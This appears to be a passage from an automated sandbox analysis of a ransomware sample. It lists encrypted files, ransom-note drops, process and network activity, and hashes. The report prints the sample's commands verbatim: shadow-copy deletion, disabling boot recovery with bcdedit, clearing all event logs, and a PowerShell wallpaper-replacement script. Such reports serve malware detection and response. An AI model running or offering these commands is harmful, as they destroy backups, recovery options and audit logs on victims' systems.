| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\en-gb\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ko_get.svg | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\en-US\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\SupplementalDictionaries\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\en-ae\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\CompleteCheckmark.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\Info.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Sigma\Advertising | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\en-gb\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\en-US\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themeless\S_ThumbDownOutline_22_N.svg | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sv-se\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\ne.pak.DATA | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\PFM\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Microsoft.VCLibs.x86.14.00.appx | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-fr\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\VisualElements\SmallLogo.png.DATA | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\Close2x.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\s_radio_selected_18.svg | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-ma\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Mozilla Maintenance Service\logs\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\mr.pak.DATA | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon_hover.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Mu\TransparentAdvertisers | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\pl-pl\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ru-ru\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Functions\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\css\main.css | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\ICU\icudt26l.dat | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ko-kr\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Edge.dat | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\ro-ro\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Common Files\Microsoft Shared\ink\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_CA\hyph_en_CA.dic | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\eu-es\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\sat_logo.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sv-se\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\tr-tr\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\es-es\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Mu\Advertising | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd-BoldOblique.otf | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe
"C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\SYSTEM32\cmd.exe
cmd /c bcdedit /set {default} recoveryenabled No
C:\Windows\SYSTEM32\cmd.exe
cmd /c vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\SYSTEM32\cmd.exe
cmd /c wmic shadowcopy delete /nointeractive
C:\Windows\SYSTEM32\cmd.exe
cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1289896251.png /f
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 13.89.179.9:443 | tcp | |
| US | 52.152.110.14:443 | tcp | |
| NL | 8.238.20.126:80 | tcp | |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | assets.msn.com | udp |
| GB | 95.101.143.242:443 | assets.msn.com | tcp |
| US | 8.8.8.8:53 | 242.143.101.95.in-addr.arpa | udp |
| NL | 173.223.113.164:443 | tcp | |
| NL | 173.223.113.131:80 | tcp | |
| US | 204.79.197.203:80 | api.msn.com | tcp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.77.109.52.in-addr.arpa | udp |
Files
C:\Users\GET_YOUR_FILES_BACK.txt
| MD5 | 064348106157ac3e6972ebe6852f665f |
| SHA1 | 4f95549af4873637f05f5f574b93605d30a28dbb |
| SHA256 | 876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a |
| SHA512 | e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33 |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_smcebxry.dg5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/7932-1140-0x0000020B1CA60000-0x0000020B1CA82000-memory.dmp
memory/7932-1411-0x0000020B1BFA0000-0x0000020B1BFB0000-memory.dmp
memory/7932-1442-0x0000020B1BFA0000-0x0000020B1BFB0000-memory.dmp
memory/7932-1489-0x0000020B1BFA0000-0x0000020B1BFB0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
memory/5072-23369-0x000002A943D40000-0x000002A943D50000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5caad758326454b5788ec35315c4c304 |
| SHA1 | 3aef8dba8042662a7fcf97e51047dc636b4d4724 |
| SHA256 | 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391 |
| SHA512 | 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693 |
C:\GET_YOUR_FILES_BACK.txt
| MD5 | 064348106157ac3e6972ebe6852f665f |
| SHA1 | 4f95549af4873637f05f5f574b93605d30a28dbb |
| SHA256 | 876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a |
| SHA512 | e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33 |
C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
| MD5 | 064348106157ac3e6972ebe6852f665f |
| SHA1 | 4f95549af4873637f05f5f574b93605d30a28dbb |
| SHA256 | 876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a |
| SHA512 | e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33 |
memory/5072-23374-0x000002A943D40000-0x000002A943D50000-memory.dmp